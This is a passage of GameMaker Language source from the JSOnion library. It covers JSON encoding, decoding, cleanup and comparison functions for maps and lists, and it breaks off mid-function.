type of value found at position <index> of <list>.\r\n    JSOnion version: 1.0.0d\r\n    */\r\n    \r\n    //Grab the value\r\n    var v;\r\n    v = ds_list_find_value(argument0, argument1);\r\n    \r\n    //String; could be string, map or list\r\n    if (is_string(v)) {\r\n        switch (string_char_at(v, 1)) {\r\n            case \"s\":\r\n                return jso_type_string;\r\n            break;\r\n            case \"l\":\r\n                return jso_type_list;\r\n            break;\r\n            case \"m\":\r\n                return jso_type_map;\r\n            break;\r\n            case \"b\":\r\n                return jso_type_boolean;\r\n            break;\r\n            default: show_error(\"Invalid list content type.\", true); break;\r\n        }    \r\n    }\r\n    \r\n    //Real\r\n    else {\r\n        return jso_type_real;\r\n    }\r\n}\r\n\r\n#define jso_cleanup_map\r\n{\r\n    /**\r\n    jso_cleanup_map(map): Recursively free up <map>.\r\n    JSOnion version: 1.0.0d\r\n    */\r\n    \r\n    //Loop through all keys\r\n    var i, l, k;\r\n    l = ds_map_size(argument0);\r\n    k = ds_map_find_first(argument0);\r\n    for (i=0; i<l; i+=1) {\r\n    \r\n        //Look for values that need to be recursed    \r\n        switch (jso_map_get_type(argument0, k)) {\r\n            //Maps\r\n            case jso_type_map:\r\n                jso_cleanup_map(jso_map_get(argument0, k));\r\n            break;\r\n            //Lists\r\n            case jso_type_list:\r\n                jso_cleanup_list(jso_map_get(argument0, k));\r\n            break;\r\n        }\r\n        \r\n        //Find next key\r\n        k = ds_map_find_next(argument0, k);\r\n    }\r\n    \r\n    //Done, clean up\r\n    ds_map_destroy(argument0);\r\n}\r\n\r\n#define jso_cleanup_list\r\n{\r\n    /**\r\n    jso_cleanup_list(list): Recursively free up <list>.\r\n    JSOnion version: 1.0.0d\r\n    */\r\n    \r\n    //Loop through all elements\r\n    var i, l, v;\r\n    l = ds_list_size(argument0);\r\n    for (i=0; i<l; i+=1) {\r\n        //Look for elements that need to be recursed\r\n        switch (jso_list_get_type(argument0, i)) {\r\n            //Maps\r\n            case jso_type_map:\r\n                jso_cleanup_map(jso_list_get(argument0, i));\r\n            break;\r\n            //Lists\r\n            case jso_type_list:\r\n                jso_cleanup_list(jso_list_get(argument0, i));\r\n            break;\r\n        }\r\n    }\r\n    \r\n    //Done, clean up\r\n    ds_list_destroy(argument0);\r\n}\r\n\r\n#define jso_encode_real\r\n{\r\n    /**\r\n    jso_encode_real(<real>): Return a JSON-encoded version of real value <real>.\r\n    This uses scientific notation with up to 15 significant digits for decimal values.\r\n    For integers, it just uses string().\r\n    This is adapted from the same algorithm used in GMTuple.\r\n    JSOnion version: 1.0.0d\r\n    */\r\n    \r\n    return __jso_gmt_numtostr(argument0);\r\n}\r\n\r\n#define jso_encode_string\r\n{\r\n    /**\r\n    jso_encode_string(str): Return a JSON-encoded version of string <str>.\r\n    JSOnion version: 1.0.0d\r\n    */\r\n    \r\n    //Iteratively reconstruct the string\r\n    var i, l, s, c;\r\n    s = \"\";\r\n    l = string_length(argument0);\r\n    for (i=1; i<=l; i+=1) {\r\n        //Replace escape characters\r\n        c = string_char_at(argument0, i);\r\n        switch (ord(c)) {\r\n            case 34: case 92: case 47: //Double quotes, backslashes and slashes\r\n                s += \"\\\" + c;\r\n            break;\r\n            case 8: //Backspace\r\n                s += \"\\b\";\r\n            break;\r\n            case 12: //Form feed\r\n                s += \"\\f\";\r\n            break;\r\n            case 10: //New line\r\n                s += \"\\n\";\r\n            break;\r\n            case 13: //Carriage return\r\n                s += \"\\r\";\r\n            break;\r\n            case 9: //Horizontal tab\r\n                s += \"\\t\";\r\n            break;\r\n            default: //Not an escape character\r\n                s += c;\r\n            break;\r\n        }\r\n    }\r\n\r\n    //Add quotes\r\n    return '\"' + s + '\"';\r\n}\r\n\r\n#define jso_encode_list\r\n{\r\n    /**\r\n    jso_encode_list(list): Return a JSON-encoded version of list <list>.\r\n    JSOnion version: 1.0.0d\r\n    */\r\n    \r\n    //Iteratively encode each element\r\n    var i, l, s;\r\n    s = \"\";\r\n    l = ds_list_size(argument0);\r\n    for (i=0; i<l; i+=1) {\r\n        //Prepend comma except for the first element\r\n        if (i > 0) {\r\n            s += \",\";\r\n        }\r\n        //Select correct encoding for each element, then recursively encode each\r\n        switch (jso_list_get_type(argument0, i)) {\r\n            case jso_type_real:\r\n                s += jso_encode_real(jso_list_get(argument0, i));\r\n            break;\r\n            case jso_type_string:\r\n                s += jso_encode_string(jso_list_get(argument0, i));\r\n            break;\r\n            case jso_type_map:\r\n                s += jso_encode_map(jso_list_get(argument0, i));\r\n            break;\r\n            case jso_type_list:\r\n                s += jso_encode_list(jso_list_get(argument0, i));\r\n            break;\r\n            case jso_type_boolean:\r\n                s += jso_encode_boolean(jso_list_get(argument0, i));\r\n            break;\r\n        }\r\n    }\r\n    \r\n    //Done, add square brackets\r\n    return \"[\" + s + \"]\";\r\n}\r\n\r\n#define jso_encode_map\r\n{\r\n    /**\r\n    jso_encode_map(map): Return a JSON-encoded version of map <map>.\r\n    JSOnion version: 1.0.0d\r\n    */\r\n    \r\n    //Go through every key-value pair\r\n    var i, l, k, s;\r\n    s = \"\";\r\n    l = ds_map_size(argument0);\r\n    k = ds_map_find_first(argument0);\r\n    for (i=0; i<l; i+=1) {\r\n        //Prefix , if there is preceding item\r\n        if (i > 0) {\r\n            s += \",\";\r\n        }\r\n        //Find the key and encode it\r\n        if (is_real(k)) {\r\n            s += jso_encode_real(k);\r\n        } else {\r\n            s += jso_encode_string(k);\r\n        }\r\n        //Add the : separator\r\n        s += \":\";\r\n        //Select correct encoding for each value, then recursively encode each   \r\n        switch (jso_map_get_type(argument0, k)) {\r\n            case jso_type_real:\r\n                s += jso_encode_real(jso_map_get(argument0, k));\r\n            break;\r\n            case jso_type_string:\r\n                s += jso_encode_string(jso_map_get(argument0, k));\r\n            break;\r\n            case jso_type_map:\r\n                s += jso_encode_map(jso_map_get(argument0, k));\r\n            break;\r\n            case jso_type_list:\r\n                s += jso_encode_list(jso_map_get(argument0, k));\r\n            break;\r\n            case jso_type_boolean:\r\n                s += jso_encode_boolean(jso_map_get(argument0, k));\r\n            break;\r\n        }\r\n        //Get next key\r\n        k = ds_map_find_next(argument0, k);\r\n    }\r\n    \r\n    //Done, add braces\r\n    return \"{\" + s + \"}\";\r\n}\r\n\r\n#define jso_encode_integer\r\n{\r\n    /**\r\n    jso_encode_integer(int): Return a JSON-encoded version of the integer value <int>.\r\n    JSOnion version: 1.0.0d\r\n    */\r\n    return string(floor(argument0));\r\n}\r\n\r\n#define jso_encode_boolean\r\n{\r\n    /**\r\n    jso_encode_boolean(bool): Return a JSON-encoded version of the boolean value <bool>.\r\n    JSOnion version: 1.0.0d\r\n    */\r\n    if (argument0) {\r\n        return \"true\";\r\n    } else {\r\n        return \"false\";\r\n    }\r\n}\r\n\r\n#define jso_decode_map\r\n{\r\n    /**\r\n    jso_decode_map(json): Return a JSOnion-compatible map representing the JSON string <json>.\r\n    JSOnion version: 1.0.0d\r\n    */\r\n    return __jso_gmt_elem(_jso_decode_map(argument0, 1), 0);\r\n}\r\n\r\n#define jso_decode_list\r\n{\r\n    /**\r\n    jso_decode_list(json): Return a JSOnion-compatible list representing the JSON string <json>.\r\n    JSOnion version: 1.0.0d\r\n    */\r\n    return __jso_gmt_elem(_jso_decode_list(argument0, 1), 0);\r\n}\r\n\r\n#define jso_decode_string\r\n{\r\n    /**\r\n    jso_decode_string(json): Return a string representing the JSON string <json>.\r\n    JSOnion version: 1.0.0d\r\n    */\r\n    return __jso_gmt_elem(_jso_decode_string(argument0, 1), 0);\r\n}\r\n\r\n#define jso_decode_boolean\r\n{\r\n    /**\r\n    jso_decode_boolean(json): Return a boolean value representing the JSON string <json>.\r\n    JSOnion version: 1.0.0d\r\n    */\r\n    return __jso_gmt_elem(_jso_decode_boolean(argument0, 1), 0);\r\n}\r\n\r\n#define jso_decode_real\r\n{\r\n    /**\r\n    jso_decode_real(json): Return a real value representing the JSON string <json>.\r\n    JSOnion version: 1.0.0d\r\n    */\r\n    return __jso_gmt_elem(_jso_decode_real(argument0, 1), 0);\r\n}\r\n\r\n#define jso_decode_integer\r\n{\r\n    /**\r\n    jso_decode_integer(json): Return an integer value representing the JSON string <json>.\r\n    JSOnion version: 1.0.0d\r\n    */\r\n    return __jso_gmt_elem(_jso_decode_integer(argument0, 1), 0);\r\n}\r\n\r\n#define _jso_decode_map\r\n{\r\n    /**\r\n    _jso_decode_map(json, startindex): Extract a map from JSON string <json> starting at position <startindex>.\r\n    Return a 2-tuple of the extracted map handle and the position after the ending }.\r\n    JSOnion version: 1.0.0d\r\n    */\r\n    var i, len, map;\r\n    i = argument1;\r\n    len = string_length(argument0);\r\n    map = jso_new_map();\r\n    \r\n    //Seek to first {\r\n    var c;\r\n    c = string_char_at(argument0, i);\r\n    if (c != \"{\") {\r\n        do {\r\n            i += 1;\r\n            c = string_char_at(argument0, i);\r\n            if (!_jso_is_whitespace_char(c)) && (c != \"{\") {\r\n                show_error(\"Cannot parse map at position \" + string(i), true);\r\n            }\r\n        } until (c == \"{\")\r\n    }\r\n    i += 1;\r\n    \r\n    //Read until end of JSON or ending }\r\n    var found_end, state, found, current_key;\r\n    found_end = false;\r\n    state = 0;\r\n    for (i=i; i<=len && !found_end; i+=1) {\r\n        c = string_char_at(argument0, i);\r\n        switch (state) {\r\n            //0: Looking for a key or closing }\r\n            case 0:\r\n                switch (c) {\r\n                    case \"}\":\r\n                        found_end = true;\r\n                    break;\r\n                    case '\"':\r\n                        found = _jso_decode_string(argument0, i);\r\n                        current_key = __jso_gmt_elem(found, 0);\r\n                        i = __jso_gmt_elem(found, 1)-1;\r\n                        state = 1;\r\n                    break;\r\n                    case \"0\": case \"1\": case \"2\": case \"3\": case \"4\": case \"5\": case \"6\": case \"7\": case \"8\": case \"9\": case \"+\": case \"-\":\r\n                        found = _jso_decode_real(argument0, i);\r\n                        current_key = __jso_gmt_elem(found, 0);\r\n                        i = __jso_gmt_elem(found, 1)-1;\r\n                        state = 1;\r\n                    break;\r\n                    default:\r\n                        if (!_jso_is_whitespace_char(c)) {\r\n                            show_error(\"Unexpected character at position \" + string(i) + \".\", true);\r\n                        }\r\n                    break;\r\n                }\r\n            break;\r\n            //1: Looking for the : separator\r\n            case 1:\r\n                switch (c) {\r\n                    case \":\":\r\n                        state = 2;\r\n                    break;\r\n                    default:\r\n                        if (!_jso_is_whitespace_char(c)) {\r\n                            show_error(\"Unexpected character at position \" + string(i) + \".\", true);\r\n                        }\r\n                    break;\r\n                }\r\n            break;\r\n            //2: Looking for a value\r\n            case 2:\r\n                switch (c) {\r\n                    case \"[\":\r\n                        found = _jso_decode_list(argument0, i);\r\n                        jso_map_add_sublist(map, current_key, __jso_gmt_elem(found, 0));\r\n                        i = __jso_gmt_elem(found, 1)-1;\r\n                        state = 3;\r\n                    break;\r\n                    case \"{\":\r\n                        found = _jso_decode_map(argument0, i);\r\n                        jso_map_add_submap(map, current_key, __jso_gmt_elem(found, 0));\r\n                        i = __jso_gmt_elem(found, 1)-1;\r\n                        state = 3;\r\n                    break;\r\n                    case '\"':\r\n                        found = _jso_decode_string(argument0, i);\r\n                        jso_map_add_string(map, current_key, __jso_gmt_elem(found, 0));\r\n                        i = __jso_gmt_elem(found, 1)-1;\r\n                        state = 3;\r\n                    break;\r\n                    case \"0\": case \"1\": case \"2\": case \"3\": case \"4\": case \"5\": case \"6\": case \"7\": case \"8\": case \"9\": case \"+\": case \"-\":\r\n                        found = _jso_decode_real(argument0, i);\r\n                        jso_map_add_real(map, current_key, __jso_gmt_elem(found, 0));\r\n                        i = __jso_gmt_elem(found, 1)-1;\r\n                        state = 3;\r\n                    break;\r\n                    case \"t\": case \"f\":\r\n                        found = _jso_decode_boolean(argument0, i);\r\n                        jso_map_add_boolean(map, current_key, __jso_gmt_elem(found, 0));\r\n                        i = __jso_gmt_elem(found, 1)-1;\r\n                        state = 3;\r\n                    break;\r\n                    default:\r\n                        if (!_jso_is_whitespace_char(c)) {\r\n                            show_error(\"Unexpected character at position \" + string(i) + \".\", true);\r\n                        }\r\n                    break;\r\n                }\r\n            break;\r\n            //3: Done looking for an entry, want comma or }\r\n            case 3:\r\n                switch (c) {\r\n                    case \"}\":\r\n                        found_end = true;\r\n                    break;\r\n                    case \",\":\r\n                        state = 0;\r\n                    break;\r\n                    default:\r\n                        if (!_jso_is_whitespace_char(c)) {\r\n                            show_error(\"Unexpected character at position \" + string(i) + \".\", true);\r\n                        }\r\n                    break;\r\n                }\r\n            break;\r\n        }\r\n    }\r\n    \r\n    //Return extracted map with ending position if the ending } is found\r\n    if (found_end) {\r\n        return __jso_gmt_tuple(map, i);\r\n    }\r\n    //Ended too early, throw error\r\n    else {\r\n        show_error(\"Unexpected end of map in JSON string.\", true);\r\n    }\r\n}\r\n\r\n#define _jso_decode_list\r\n{\r\n    /**\r\n    _jso_decode_list(json, startindex): Extract a list from JSON string <json> starting at position <startindex>.\r\n    Return a 2-tuple of the extracted list handle and the position after the ending ].\r\n    JSOnion version: 1.0.0d\r\n    */\r\n    var i, len, list;\r\n    i = argument1;\r\n    len = string_length(argument0);\r\n    list = jso_new_list();\r\n    \r\n    //Seek to first [\r\n    var c;\r\n    c = string_char_at(argument0, i);\r\n    if (c != \"[\") {\r\n        do {\r\n            i += 1;\r\n            c = string_char_at(argument0, i);\r\n            if (!_jso_is_whitespace_char(c)) && (c != \"[\") {\r\n                show_error(\"Cannot parse list at position \" + string(i), true);\r\n            }\r\n        } until (c == \"[\")\r\n    }\r\n    i += 1;\r\n    \r\n    //Read until end of JSON or ending ]\r\n    var found_end, state, found;\r\n    found_end = false;\r\n    state = 0;\r\n    for (i=i; i<=len && !found_end; i+=1) {\r\n        c = string_char_at(argument0, i);\r\n        switch (state) {\r\n            //0: Looking for an item\r\n            case 0:\r\n                switch (c) {\r\n                    case \"]\":\r\n                        found_end = true;\r\n                    break;\r\n                    case \"[\":\r\n                        found = _jso_decode_list(argument0, i);\r\n                        jso_list_add_sublist(list, __jso_gmt_elem(found, 0));\r\n                        i = __jso_gmt_elem(found, 1)-1;\r\n                        state = 1;\r\n                    break;\r\n                    case \"{\":\r\n                        found = _jso_decode_map(argument0, i);\r\n                        jso_list_add_submap(list, __jso_gmt_elem(found, 0));\r\n                        i = __jso_gmt_elem(found, 1)-1;\r\n                        state = 1;\r\n                    break;\r\n                    case '\"':\r\n                        found = _jso_decode_string(argument0, i);\r\n                        jso_list_add_string(list, __jso_gmt_elem(found, 0));\r\n                        i = __jso_gmt_elem(found, 1)-1;\r\n                        state = 1;\r\n                    break;\r\n                    case \"0\": case \"1\": case \"2\": case \"3\": case \"4\": case \"5\": case \"6\": case \"7\": case \"8\": case \"9\": case \"+\": case \"-\":\r\n                        found = _jso_decode_real(argument0, i);\r\n                        jso_list_add_real(list, __jso_gmt_elem(found, 0));\r\n                        i = __jso_gmt_elem(found, 1)-1;\r\n                        state = 1;\r\n                    break;\r\n                    case \"t\": case \"f\":\r\n                        found = _jso_decode_boolean(argument0, i);\r\n                        jso_list_add_boolean(list, __jso_gmt_elem(found, 0));\r\n                        i = __jso_gmt_elem(found, 1)-1;\r\n                        state = 1;\r\n                    break;\r\n                    default:\r\n                        if (!_jso_is_whitespace_char(c)) {\r\n                            show_error(\"Unexpected character at position \" + string(i) + \".\", true);\r\n                        }\r\n                    break;\r\n                }\r\n            break;\r\n            //1: Done looking for an item, want comma or ]\r\n            case 1:\r\n                switch (c) {\r\n                    case \"]\":\r\n                        found_end = true;\r\n                    break;\r\n                    case \",\":\r\n                        state = 0;\r\n                    break;\r\n                    default:\r\n                        if (!_jso_is_whitespace_char(c)) {\r\n                            show_error(\"Unexpected character at position \" + string(i) + \".\", true);\r\n                        }\r\n                    break;\r\n                }\r\n            break;\r\n        }\r\n    }\r\n    \r\n    //Return extracted list with ending position if the ending ] is found\r\n    if (found_end) {\r\n        return __jso_gmt_tuple(list, i);\r\n    }\r\n    //Ended too early, throw error\r\n    else {\r\n        show_error(\"Unexpected end of list in JSON string.\", true);\r\n    }\r\n}\r\n\r\n#define _jso_decode_string\r\n{\r\n    /**\r\n    _jso_decode_string(json, startindex): Extract a string from JSON string <json> starting at position <startindex>.\r\n    Return a 2-tuple of the extracted string and the position after the ending double quote.\r\n    JSOnion version: 1.0.0d\r\n    */\r\n    var i, len, str;\r\n    i = argument1;\r\n    len = string_length(argument0);\r\n    str = \"\";\r\n    \r\n    //Seek to first double quote\r\n    var c;\r\n    c = string_char_at(argument0, i);\r\n    if (c != '\"') {\r\n        do {\r\n            i += 1;\r\n            c = string_char_at(argument0, i);\r\n        } until (c == '\"')\r\n    }\r\n    i += 1;\r\n    \r\n    //Read until end of JSON or ending double quote\r\n    var found_end, escape_mode;\r\n    found_end = false;\r\n    escape_mode = false;\r\n    for (i=i; i<=len && !found_end; i+=1) {\r\n        c = string_char_at(argument0, i);\r\n        //Escape mode\r\n        if (escape_mode) {\r\n            switch (c) {\r\n                case '\"': case \"\\\": case \"/\":\r\n                    str += c;\r\n                    escape_mode = false;\r\n                break;\r\n                case \"b\":\r\n                    str += chr(8);\r\n                    escape_mode = false;\r\n                break;\r\n                case \"f\":\r\n                    str += chr(12);\r\n                    escape_mode = false;\r\n                break;\r\n                case \"n\":\r\n                    str += chr(10);\r\n                    escape_mode = false;\r\n                break;\r\n                case \"r\":\r\n                    str += chr(13);\r\n                    escape_mode = false;\r\n                break;\r\n                case \"t\":\r\n                    str += chr(9);\r\n                    escape_mode = false;\r\n                break;\r\n                case \"u\":\r\n                    var u;\r\n                    if (len-i < 5) {\r\n                        show_error(\"Invalid escape character at position \" + string(i) + \".\", true);\r\n                    } else {\r\n                        str += chr(_jso_hex_to_decimal(string_copy(argument0, i+1, 4)));\r\n                        escape_mode = false;\r\n                        i += 4;\r\n                    }\r\n                break;\r\n                default:\r\n                    show_error(\"Invalid escape character at position \" + string(i) + \".\", true);\r\n                break;\r\n            }\r\n        }\r\n        //Regular mode\r\n        else {\r\n            switch (c) {\r\n                case '\"': found_end = true; break;\r\n                case \"\\\": escape_mode = true; break;\r\n                default: str += c; break;\r\n            }\r\n        }\r\n    }\r\n    \r\n    //Return extracted string with ending position if the ending double quote is found\r\n    if (found_end) {\r\n        return __jso_gmt_tuple(str, i);\r\n    }\r\n    //Ended too early, throw error\r\n    else {\r\n        show_error(\"Unexpected end of string in JSON string.\", true);\r\n    }\r\n}\r\n\r\n#define _jso_decode_boolean\r\n{\r\n    /**\r\n    _jso_decode_boolean(json, startindex): Extract a boolean from JSON string <json> starting at position <startindex>.\r\n    Return a 2-tuple of the extracted boolean and the position after the last e.\r\n    JSOnion version: 1.0.0d\r\n    */\r\n    var i, len, str;\r\n    i = argument1;\r\n    len = string_length(argument0);\r\n    \r\n    //Seek to first t or f that can be found\r\n    var c;\r\n    c = string_char_at(argument0, i);\r\n    if (c != \"t\") && (c != \"f\") {\r\n        do {\r\n            i += 1;\r\n            c = string_char_at(argument0, i);\r\n            if (!_jso_is_whitespace_char(c)) && (c != \"t\") && (c != \"f\") {\r\n                show_error(\"Cannot parse boolean value at position \" + string(i), true);\r\n            }\r\n        } until (c == \"t\") || (c == \"f\")\r\n    }\r\n    \r\n    //Look for true if t is found\r\n    if (c == \"t\") && (string_copy(argument0, i, 4) == \"true\") {\r\n        return __jso_gmt_tuple(true, i+4);\r\n    }\r\n    //Look for false if f is found\r\n    else if (c == \"f\") && (string_copy(argument0, i, 5) == \"false\") {\r\n        return __jso_gmt_tuple(false, i+5);\r\n    }\r\n    //Error: unexpected ending\r\n    else {\r\n        show_error(\"Unexpected end of boolean in JSON string.\", true);\r\n    }\r\n}\r\n\r\n#define _jso_decode_real\r\n{\r\n    /**\r\n    _jso_decode_real(json, startindex): Extract a real value from JSON string <json> starting at position <startindex>.\r\n    Return a 2-tuple of the extracted real value and the position after the real value.\r\n    JSOnion version: 1.0.0d\r\n    */\r\n    var i, len, str;\r\n    i = argument1;\r\n    len = string_length(argument0);\r\n    str = \"\";\r\n    \r\n    //Seek to first character: +, -, or 0-9\r\n    var c;\r\n    c = string_char_at(argument0, i);\r\n    if (string_pos(c, \"0123456789+-\") == 0) {\r\n        do {\r\n            i += 1;\r\n            c = string_char_at(argument0, i);\r\n            if (!_jso_is_whitespace_char(c)) && (string_pos(c, \"0123456789+-\") == 0) {\r\n                show_error(\"Cannot parse real value at position \" + string(i), true);\r\n            }\r\n        } until (string_pos(c, \"0123456789+-\") > 0)\r\n    }\r\n    \r\n    //Determine starting state\r\n    var state;\r\n    switch (c) {\r\n        case \"+\": case \"-\":\r\n            state = 0;\r\n        break;\r\n        default:\r\n            state = 1;\r\n        break;\r\n    }\r\n    str += c;\r\n    i += 1;\r\n    \r\n    //Loop until no more digits found\r\n    var done;\r\n    done = false;\r\n    for (i=i; i<=len && !done; i+=1) {\r\n        c = string_char_at(argument0, i);\r\n        switch (state) {\r\n            //0: Found a sign, looking for a starting number\r\n            case 0:\r\n                switch (c) {\r\n                    case \"0\": case \"1\": case \"2\": case \"3\": case \"4\": case \"5\": case \"6\": case \"7\": case \"8\": case \"9\":\r\n                        str += c;\r\n                        state = 1;\r\n                    break;\r\n                    default:\r\n                        show_error(\"Unexpected character at position \" + string(i) + \", expecting a digit.\", true);\r\n                    break;\r\n                }\r\n            break;\r\n            //1: Found a starting digit, looking for decimal dot, e, E, or more digits\r\n            case 1:\r\n                if (_jso_is_whitespace_char(c)) || (string_pos(c, \":,]}\") > 0) {\r\n                    done = true;\r\n                    i -= 1;\r\n                } else {\r\n                    switch (c) {\r\n                        case \"0\": case \"1\": case \"2\": case \"3\": case \"4\": case \"5\": case \"6\": case \"7\": case \"8\": case \"9\":\r\n                            str += c;\r\n                        break;\r\n                        case \".\":\r\n                            str += c;\r\n                            state = 2;\r\n                        break;\r\n                        case \"e\": case \"E\":\r\n                            str += c;\r\n                            state = 3;\r\n                        break;\r\n                        default:\r\n                            show_error(\"Unexpected character at position \" + string(i) + \", expecting a dot, e, E or a digit.\", true);\r\n                        break;\r\n                    }\r\n                }\r\n            break;\r\n            //2: Found a decimal dot, looking for more digits\r\n            case 2:\r\n                switch (c) {\r\n                    case \"0\": case \"1\": case \"2\": case \"3\": case \"4\": case \"5\": case \"6\": case \"7\": case \"8\": case \"9\":\r\n                        str += c;\r\n                        state = -2;\r\n                    break;\r\n                    default:\r\n                        show_error(\"Unexpected character at position \" + string(i) + \", expecting a digit.\", true);\r\n                    break;\r\n                }\r\n            break;\r\n            //-2: Found a decimal dot and a digit after it, looking for more digits, e, or E\r\n            case -2:\r\n                if (_jso_is_whitespace_char(c)) || (string_pos(c, \":,]}\") > 0) {\r\n                    done = true;\r\n                    i -= 1;\r\n                } else {\r\n                    switch (c) {\r\n                        case \"0\": case \"1\": case \"2\": case \"3\": case \"4\": case \"5\": case \"6\": case \"7\": case \"8\": case \"9\":\r\n                            str += c;\r\n                        break;\r\n                        case \"e\": case \"E\":\r\n                            str += c;\r\n                            state = 3;\r\n                        break;\r\n                        default:\r\n                            show_error(\"Unexpected character at position \" + string(i) + \", expecting an e, E or a digit.\", true);\r\n                        break;\r\n                    }\r\n                }\r\n            break;\r\n            //3: Found an e/E, looking for +, - or more digits\r\n            case 3:\r\n                switch (c) {\r\n                    case \"+\": case \"-\":\r\n                        str += c;\r\n                        state = 4;\r\n                    break;\r\n                    case \"0\": case \"1\": case \"2\": case \"3\": case \"4\": case \"5\": case \"6\": case \"7\": case \"8\": case \"9\":\r\n                        str += c;\r\n                        state = 5;\r\n                    break;\r\n                    default:\r\n                        show_error(\"Unexpected character at position \" + string(i) + \", expecting a +, - or a digit.\", true);\r\n                    break;\r\n                }\r\n            break;\r\n            //4: Found an e/E exponent sign, looking for more digits\r\n            case 4:\r\n                switch (c) {\r\n                    case \"0\": case \"1\": case \"2\": case \"3\": case \"4\": case \"5\": case \"6\": case \"7\": case \"8\": case \"9\":\r\n                        str += c;\r\n                        state = 5;\r\n                    break;\r\n                    default:\r\n                        show_error(\"Unexpected character at position \" + string(i) + \", expecting a digit.\", true);\r\n                    break;\r\n                }\r\n            break;\r\n            //5: Looking for final digits of the exponent\r\n            case 5:\r\n                if (_jso_is_whitespace_char(c)) || (string_pos(c, \":,]}\") > 0) {\r\n                    done = true;\r\n                    i -= 1;\r\n                } else {\r\n                    switch (c) {\r\n                        case \"0\": case \"1\": case \"2\": case \"3\": case \"4\": case \"5\": case \"6\": case \"7\": case \"8\": case \"9\":\r\n                            str += c;\r\n                            state = 5;\r\n                        break;\r\n                        default:\r\n                            show_error(\"Unexpected character at position \" + string(i) + \", expecting a digit.\", true);\r\n                        break;\r\n                    }\r\n                }\r\n            break;\r\n        }\r\n    }\r\n    \r\n    //Am I still expecting more characters?\r\n    if (done) || (state == 1) || (state == -2) || (state == 5) {\r\n        return __jso_gmt_tuple(real(str), i);\r\n    }\r\n    //Error: unexpected ending\r\n    else {\r\n        show_error(\"Unexpected end of real in JSON string.\", true);\r\n    }\r\n}\r\n\r\n#define _jso_decode_integer\r\n{\r\n    /**\r\n    _jso_decode_real(json, startindex): Extract a real value from JSON string <json> starting at position <startindex>.\r\n    Return a 2-tuple of the extracted integer value (with leading i) and the position after the real value.\r\n    JSOnion version: 1.0.0d\r\n    */\r\n    var i, len, str;\r\n    i = argument1;\r\n    len = string_length(argument0);\r\n    str = \"\";\r\n    \r\n    //Seek to first character: +, -, or 0-9\r\n    var c;\r\n    c = string_char_at(argument0, i);\r\n    if (string_pos(c, \"0123456789+-\") == 0) {\r\n        do {\r\n            i += 1;\r\n            c = string_char_at(argument0, i);\r\n            if (!_jso_is_whitespace_char(c)) && (string_pos(c, \"0123456789+-\") == 0) {\r\n                show_error(\"Cannot parse integer value at position \" + string(i), true);\r\n            }\r\n        } until (string_pos(c, \"0123456789+-\") > 0)\r\n    }\r\n    \r\n    //Determine starting state\r\n    var state;\r\n    switch (c) {\r\n        case \"+\": case \"-\":\r\n            state = 0;\r\n        break;\r\n        default:\r\n            state = 1;\r\n        break;\r\n    }\r\n    str += c;\r\n    i += 1;\r\n    \r\n    //Loop until no more digits found\r\n    var done;\r\n    done = false;\r\n    for (i=i; i<=len && !done; i+=1) {\r\n        c = string_char_at(argument0, i);\r\n        switch (state) {\r\n            //0: Found a sign, looking for a starting number\r\n            case 0:\r\n                switch (c) {\r\n                    case \"0\": case \"1\": case \"2\": case \"3\": case \"4\": case \"5\": case \"6\": case \"7\": case \"8\": case \"9\":\r\n                        str += c;\r\n                        state = 1;\r\n                    break;\r\n                    default:\r\n                        show_error(\"Unexpected character at position \" + string(i) + \", expecting a digit.\", true);\r\n                    break;\r\n                }\r\n            break;\r\n            //1: Found a starting digit, looking for decimal dot, e, E, or more digits\r\n            case 1:\r\n                if (_jso_is_whitespace_char(c)) || (string_pos(c, \":,]}\") > 0) {\r\n                    done = true;\r\n                    i -= 1;\r\n                } else {\r\n                    switch (c) {\r\n                        case \"0\": case \"1\": case \"2\": case \"3\": case \"4\": case \"5\": case \"6\": case \"7\": case \"8\": case \"9\":\r\n                            str += c;\r\n                        break;\r\n                        default:\r\n                            show_error(\"Unexpected character at position \" + string(i) + \", expecting a digit.\", true);\r\n                        break;\r\n                    }\r\n                }\r\n            break;\r\n        }\r\n    }\r\n    \r\n    //Am I still expecting more characters?\r\n    if (done) || (state == 1) {\r\n        return __jso_gmt_tuple(floor(real(str)), i);\r\n    }\r\n    //Error: unexpected ending\r\n    else {\r\n        show_error(\"Unexpected end of integer in JSON string.\", true);\r\n    }\r\n}\r\n\r\n#define jso_compare_maps\r\n{\r\n    /**\r\n    jso_compare_maps(map1, map2): Return whether the contents of JSOnion-compatible maps <map1> and <map2> are the same.\r\n    JSOnion version: 1.0.0d\r\n    */\r\n    \r\n    //If they aren't the same size, they can't be the same\r\n    var size;\r\n    size = ds_map_size(argument0);\r\n    if (size != ds_map_size(argument1)) {\r\n        return false;\r\n    }\r\n    \r\n    //Compare contents pairwise\r\n    var i, k, type, a, b;\r\n    k = ds_map_find_first(argument0);\r\n    for (i=0; i<size; i+=1) {\r\n        //Check that key exists on both sides\r\n        if (!ds_map_exists(argument1, k)) {\r\n            return false;\r\n        }\r\n        //Check type\r\n        type = jso_map_get_type(argument0, k);\r\n        if (jso_map_get_type(argument1, k) != type) {\r\n            return false;\r\n        }\r\n        //Check content\r\n        a = jso_map_get(argument0, k);\r\n        b = jso_map_get(argument1, k);\r\n        switch (type) {\r\n            case jso_type_map:\r\n                if (!jso_compare_maps(a, b)) {\r\n                    return false;\r\n                }\r\n            break;\r\n            case jso_type_list:\r\n                if (!jso_compare_lists(a, b)) {\r\n                    return false;\r\n                }\r\n            break;\r\n            default:\r\n                if (a != b) {\r\n                    return false;\r\n                }\r\n            break;\r\n        }\r\n        //Advance to next key\r\n        k = ds_map_find_next(argument0, k);\r\n    }\r\n    \r\n    //No mismatches, return true\r\n    return true;\r\n}\r\n\r\n#define jso_compare_lists\r\n{\r\n    /**\r\n    jso_compare_lists(list1, list2): Return whether the contents of JSOnion-compatible lists <list1> and <list2> are the same.\r\n    JSOnion version: 1.0.0d\r\n    */\r\n    \r\n    //If they aren't the same size, they can't be the same\r\n    var size;\r\n    size = ds_list_size(argument0);\r\n    if (size != ds_list_size(argument1)) {\r\n        return false;\r\n    }\r\n    \r\n    //Compare contents pairwise\r\n    var i, type, a, b;\r\n    for (i=0; i<size; i+=1) {\r\n        //Check type\r\n        type = jso_list_get_type(argument0, i);\r\n        if (jso_list_get_type(argument1, i) != type) {\r\n            return false;\r\n        }\r\n        //Check content\r\n        a = jso_list_get(argument0, i);\r\n        b = jso_list_get(argument1, i);\r\n        switch (type) {\r\n            case jso_type_map:\r\n                if (!jso_compare_maps(a, b)) {\r\n                    return false;\r\n                }\r\n            break;\r\n            case jso_type_list:\r\n                if 